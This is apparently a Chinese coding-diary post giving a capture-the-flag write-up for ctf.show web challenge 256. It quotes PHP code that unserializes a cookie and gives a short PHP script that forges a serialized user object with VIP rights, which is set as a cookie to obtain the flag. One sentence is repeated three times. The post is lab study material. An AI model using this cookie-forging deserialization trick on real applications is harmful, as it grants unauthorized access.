三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

ctf show web 入门256

ctf show web 入门256

通过代码审计可以看出本题要求我们

if(isset($username)&&isset($password)){$user=unserialize($_COOKIE['user']);if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();

当cookie的值被反序列化后的username和password的值与在url输入的值一样时满足第一层if语句
然后判断user是否为vip,只有这个判断的返回结果为true才能执行user是否为vip,只有这个判断的返回结果为true才能执行user是否为vip,只有这个判断的返回结果为true才能执行user->vipOnekeygetflag()
同时还要满足

publicfunctionlogin($u,$p){return$this->username===$u&&$this->password===$p;}publicfunctionvipOneKeyGetFlag(){if($this->isVip){global$flag;if($this->username!==$this->password){echo"your flag is ".$flag;

username和password的值要满足用户名和密码不能相同
我们可以本地运行一段简单的 PHP 代码,来生成我们需要的序列化字符串

<?php class ctfShowUser { public $username = 'admin'; // 任意设置,但不要与密码相同 public $password = 'secret'; // 任意设置 public $isVip = true; // 必须为 true } $user = new ctfShowUser(); echo urlencode(serialize($user)); ?>


这里就可以直接把输出的结果放入该网站的cookie中
我们先按下f12打开开发者工具

先添加一个cookie然后对这个cookie的名称和值进行修改

因为这次的反序列化后的值已经被url编码使用可以直接输入没有限制

最后flag为:your flag is ctfshow{3e5d5dc9-1b36-4060-8b1d-90f74ac4ef9f}

← 返回列表